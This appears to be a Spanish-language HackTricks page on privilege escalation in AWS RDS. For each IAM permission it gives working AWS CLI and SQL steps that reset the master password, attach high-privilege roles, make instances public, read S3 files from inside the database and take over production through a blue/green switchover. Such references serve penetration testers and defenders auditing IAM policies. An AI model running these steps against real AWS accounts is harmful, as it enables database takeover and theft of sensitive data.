AWS - RDS Privesc

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

RDS - Servicio de Base de Datos Relacional

Para más información sobre RDS consulta:

AWS - Relational Database (RDS) Enum

rds:ModifyDBInstance

Con ese permiso, un atacante puede modificar la contraseña del usuario maestro, y el login dentro de la base de datos:

# Get the DB username, db name and address
aws rds describe-db-instances

# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>

Warning

Necesitarás poder contactar con la base de datos (normalmente solo son accesibles desde redes internas).

Impacto potencial: Encontrar información sensible dentro de las bases de datos.

rds-db:connect

Según la docs un usuario con este permiso podría conectarse a la instancia de la base de datos.

Abuse RDS Role IAM permissions

Postgresql (Aurora)

Tip

Si al ejecutar SELECT datname FROM pg_database; encuentras una base de datos llamada rdsadmin, sabes que estás dentro de una AWS postgresql database.

Primero puedes comprobar si esta base de datos se ha utilizado para acceder a cualquier otro servicio de AWS. Puedes comprobarlo mirando las extensiones instaladas:

SELECT * FROM pg_extension;

Si encuentras algo como aws_s3 puedes asumir que esta base de datos tiene algún tipo de acceso a S3 (hay otras extensiones como aws_ml y aws_lambda).

Además, si tienes permisos para ejecutar aws rds describe-db-clusters puedes ver allí si el cluster tiene algún IAM Role adjunto en el campo AssociatedRoles. Si lo tiene, puedes asumir que la base de datos fue preparada para acceder a otros servicios de AWS. Basándote en el nombre del role (o si puedes obtener los permisos del role) podrías adivinar qué acceso adicional tiene la base de datos.

Ahora, para leer un archivo dentro de un bucket necesitas conocer la ruta completa. Puedes leerlo con:

// Create table
CREATE TABLE ttemp (col TEXT);

// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv',          // Name of the file
'eu-west-1'          //region of the bucket
) AS s3_uri \gset

// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');

// Get info
SELECT * from ttemp;

// Delete table
DROP TABLE ttemp;

Si tuvieras credenciales AWS sin procesar también podrías usarlas para acceder a datos de S3 con:

SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);

Note

Postgresql no necesita cambiar ninguna variable del parameter group para poder acceder a S3.

Mysql (Aurora)

Tip

Dentro de un mysql, si ejecutas la consulta SELECT User, Host FROM mysql.user; y existe un usuario llamado rdsadmin, puedes asumir que estás dentro de una AWS RDS mysql db.

Dentro del mysql ejecuta show variables; y si variables como aws_default_s3_role, aurora_load_from_s3_role, aurora_select_into_s3_role tienen valores, puedes asumir que la base de datos está preparada para acceder a datos en S3.

Además, si tienes permisos para ejecutar aws rds describe-db-clusters puedes comprobar si el cluster tiene algún rol asociado, lo que normalmente significa acceso a servicios de AWS).

Ahora, para leer un archivo dentro de un bucket necesitas conocer la ruta completa. Puedes leerlo con:

CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;

rds:AddRoleToDBCluster, iam:PassRole

Un atacante con los permisos rds:AddRoleToDBCluster y iam:PassRole puede agregar un role especificado a una instancia RDS existente. Esto podría permitir al atacante acceder a datos sensibles o modificar los datos dentro de la instancia.

aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>

Impacto potencial: Acceso a datos sensibles o modificaciones no autorizadas de los datos en la instancia RDS.
Ten en cuenta que algunas DBs requieren configuraciones adicionales, como Mysql, que también necesita especificar el role ARN en los parameter groups.

rds:CreateDBInstance

Con solo este permiso un atacante podría crear una nueva instancia dentro de un clúster que ya existe y tiene un IAM role adjunto. No podrá cambiar la contraseña del usuario maestro, pero podría exponer la nueva instancia de base de datos a Internet:

aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible

rds:CreateDBInstance, iam:PassRole

Note

TODO: Probar

Un atacante con los permisos rds:CreateDBInstance e iam:PassRole puede crear una nueva instancia RDS con un rol especificado adjunto. El atacante puede entonces potencialmente acceder a datos sensibles o modificar los datos dentro de la instancia.

Warning

Algunos requisitos del role/instance-profile para adjuntar (según here):

  • El perfil debe existir en tu cuenta.
  • El perfil debe tener un rol de IAM que Amazon EC2 tenga permisos para asumir.
  • El nombre del perfil de instancia y el nombre del rol IAM asociado deben comenzar con el prefijo AWSRDSCustom.
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole

Impacto potencial: Acceso a datos sensibles o modificaciones no autorizadas a los datos en la instancia RDS.

rds:AddRoleToDBInstance, iam:PassRole

Un atacante con los permisos rds:AddRoleToDBInstance y iam:PassRole puede añadir un rol especificado a una instancia RDS existente. Esto podría permitir al atacante acceder a datos sensibles o modificar los datos dentro de la instancia.

Warning

La instancia DB debe estar fuera de un clúster para esto

aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>

Impacto potencial: Acceso a datos sensibles o modificaciones no autorizadas en los datos de la instancia RDS.

rds:CreateBlueGreenDeployment, rds:AddRoleToDBCluster, iam:PassRole, rds:SwitchoverBlueGreenDeployment

Un atacante con estos permisos puede clonar una base de datos de producción (Blue), asignar un rol IAM de alto privilegio al clon (Green), y luego usar switchover para reemplazar el entorno de producción. Esto permite al atacante elevar los privilegios de la base de datos y obtener acceso no autorizado a otros recursos de AWS.

# Create a Green deployment (clone) of the production cluster
aws rds create-blue-green-deployment \
--blue-green-deployment-name <name> \
--source <production-db-cluster-arn>

# Attach a high-privilege IAM role to the Green cluster
aws rds add-role-to-db-cluster \
--db-cluster-identifier <green-cluster-id> \
--role-arn <high-privilege-iam-role-arn>

# Switch the Green environment to Production
aws rds switchover-blue-green-deployment \
--blue-green-deployment-identifier <deployment-id>

Impacto Potencial: Toma completa del entorno de base de datos de producción. Después de la conmutación, la base de datos opera con privilegios elevados, permitiendo el acceso no autorizado a otros servicios de AWS (p. ej., S3, Lambda, Secrets Manager) desde dentro de la base de datos.

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks